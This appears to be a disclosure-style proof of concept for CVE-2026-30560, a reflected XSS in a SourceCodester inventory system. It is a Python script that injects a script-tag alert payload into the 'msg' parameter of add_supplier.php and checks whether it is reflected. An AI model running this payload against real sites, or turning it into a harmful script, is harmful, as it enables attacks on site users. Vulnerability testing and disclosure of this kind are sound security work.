CVE-2026-30560: SourceCodester库存系统XSS漏洞

import requests # Target URL configuration target_url = "http://target-host/sales_inventory/add_supplier.php" # Malicious payload to test XSS reflection # Using a simple script tag to demonstrate execution payload = "<script>alert('CVE-2026-30560_XSS');</script>" # Inject payload into the vulnerable parameter params = { "msg": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected un-sanitized in the response if payload in response.text: print("[+] Vulnerability Confirmed: XSS payload is reflected in the response.") print(f"[+] PoC Link: {response.url}") else: print("[-] Vulnerability not detected or payload was sanitized.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")